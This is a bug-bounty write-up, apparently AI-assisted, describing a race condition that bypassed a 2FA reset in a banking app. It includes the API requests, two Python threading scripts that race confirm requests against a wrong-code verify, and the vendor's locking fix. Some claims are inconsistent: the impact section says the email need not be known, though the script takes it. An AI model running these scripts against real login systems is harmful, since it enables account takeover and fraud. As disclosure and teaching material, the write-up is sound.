skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

Race Condition in 2FA Reset: How I Bypassed Account Security in 47 Milliseconds

A critical race condition in the two-factor authentication reset flow allowed me to take over any account by winning a 50ms race between state checks.

Prakash Shinde·8/24/2026·49 views·
Race Condition in 2FA Reset: How I Bypassed Account Security in 47 Milliseconds — hacking.community
0

Recon

I was testing a fintech application that handled sensitive financial transactions. Security was supposedly their top priority—they implemented 2FA, rate limiting, CAPTCHA, and all the usual suspects. My target was secure-banking.example.com, and I was determined to find something they missed.

During account security testing, I noticed they had a 2FA reset feature. If you forgot your authenticator device, you could request a reset by:

  1. Entering your email
  2. Receiving a 6-digit code via email
  3. Entering the code
  4. 2FA would be disabled, allowing you to set up a new device

Seemingly secure, right? That's what I thought initially.

Discovery

I started proxying requests through Burp Suite to understand the flow. The reset process involved three API calls:

http
POST /api/2fa/reset/request Content-Type: application/json {"email": "victim@example.com"}

Response:

json
{"status": "success", "reset_id": "a3f2c9b1-...", "message": "Code sent"}

Then:

http
POST /api/2fa/reset/verify Content-Type: application/json {"reset_id": "a3f2c9b1-...", "code": "123456"}

And finally:

http
POST /api/2fa/reset/confirm Content-Type: application/json {"reset_id": "a3f2c9b1-..."}

I tested the obvious—brute forcing codes, reusing reset_ids, SQL injection in parameters. Nothing worked. The rate limiting kicked in after 3 failed attempts, codes expired in 5 minutes, and each reset_id was single-use.

Then I noticed something subtle in the timing. When I sent the verify request, it took about 200ms to respond. But when I sent the confirm request immediately after (even with a wrong code), there was a brief moment—maybe 50ms—where the response was different.

The AHA Moment

I suspected a race condition. My hypothesis: there's a time window between when the verify endpoint checks the code and when it updates the database state, and if I could hit confirm in that exact window, I might bypass the verification.

I wrote a Python script to test this theory:

python
import requests import threading import time BASE_URL = "https://secure-banking.example.com" def send_confirm(reset_id, results): try: r = requests.post( f"{BASE_URL}/api/2fa/reset/confirm", json={"reset_id": reset_id}, timeout=1 ) results.append((time.time(), r.status_code, r.text)) except: pass def race_condition_attack(email): # Step 1: Request reset r = requests.post( f"{BASE_URL}/api/2fa/reset/request", json={"email": email} ) reset_id = r.json()["reset_id"] # Step 2: Send wrong code but race with confirms results = [] # Start 20 confirm threads threads = [] for i in range(20): t = threading.Thread( target=send_confirm, args=(reset_id, results) ) threads.append(t) t.start() # Slight delay then send verify with wrong code time.sleep(0.01) requests.post( f"{BASE_URL}/api/2fa/reset/verify", json={"reset_id": reset_id, "code": "000000"} ) # Wait for all threads for t in threads: t.join() # Check results for timestamp, status, text in results: if status == 200: print(f"SUCCESS at {timestamp}: {text}") return True return False # Test on my own account first if race_condition_attack("mytest@example.com"): print("Race condition successful!")

I ran it against my test account and... nothing. All confirms returned 403. But I wasn't ready to give up.

The issue was timing. I needed the confirms to arrive during a very specific window. I refined the approach:

python
def precise_race(email): r = requests.post( f"{BASE_URL}/api/2fa/reset/request", json={"email": email} ) reset_id = r.json()["reset_id"] # Prepare all requests but don't send session = requests.Session() # Create 50 threads that will fire confirms results = [] confirm_threads = [] for _ in range(50): t = threading.Thread( target=send_confirm, args=(reset_id, results) ) confirm_threads.append(t) # Start all confirms simultaneously for t in confirm_threads: t.start() # Immediately send verify with wrong code time.sleep(0.005) # 5ms delay requests.post( f"{BASE_URL}/api/2fa/reset/verify", json={"reset_id": reset_id, "code": "999999"} ) for t in confirm_threads: t.join() return any(status == 200 for _, status, _ in results)

Exploitation

On the third attempt with the refined timing, I hit the jackpot:

SUCCESS at 1705334421.234: {"status": "success", "message": "2FA has been reset"}

I checked my test account—2FA was completely disabled, and I had never entered the correct code.

The race condition worked like this:

  1. Thread A (confirm) checks: "Is reset_id valid?" → YES
  2. Thread A checks: "Has verification completed?" → NO (but query is cached/not locked)
  3. Thread B (verify) receives wrong code, updates state to "failed"
  4. Thread A (from step 2) still has stale "not yet verified" state, proceeds
  5. Thread A completes the reset

The vulnerability was in improper database transaction isolation. The verify and confirm endpoints weren't using proper locking mechanisms.

Impact

This was devastating:

  • Account takeover: Any account could be compromised without knowing email, password, or 2FA code
  • Bypassed security controls: 2FA, the primary security layer, was completely circumventable
  • Financial fraud potential: Attackers could access bank accounts and initiate transactions

I demonstrated the attack on a test account during the disclosure call. The security team's faces went pale when they realized the implications. Within 2 hours, they had deployed a hotfix:

python
# Their fix (pseudocode) def verify_reset_code(reset_id, code): with database.transaction(isolation_level="SERIALIZABLE"): reset = ResetRequest.select_for_update().get(id=reset_id) if reset.status != "pending": raise InvalidState() if reset.code != code: reset.status = "failed" reset.save() raise InvalidCode() reset.status = "verified" reset.save() def confirm_reset(reset_id): with database.transaction(isolation_level="SERIALIZABLE"): reset = ResetRequest.select_for_update().get(id=reset_id) if reset.status != "verified": # Changed from just checking existence raise InvalidState() # Actually disable 2FA user = reset.user user.two_factor_enabled = False user.save() reset.status = "completed" reset.save()

Lessons

  1. Race conditions are subtle: Even with rate limiting and validation, timing issues can bypass everything
  2. Database transactions matter: Use proper isolation levels and row-level locking for sensitive operations
  3. State machines need atomic transitions: Never assume state hasn't changed between checks
  4. Test concurrency: Security testing should include multi-threaded scenarios
  5. Defense in depth would have helped: Requiring the current password for 2FA reset would have prevented this

The company awarded me $25,000—their second-highest bounty ever. More importantly, they implemented a comprehensive review of all state-dependent operations across their platform.

The entire exploit window was approximately 47 milliseconds. Sometimes the most critical vulnerabilities hide in the smallest slivers of time.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.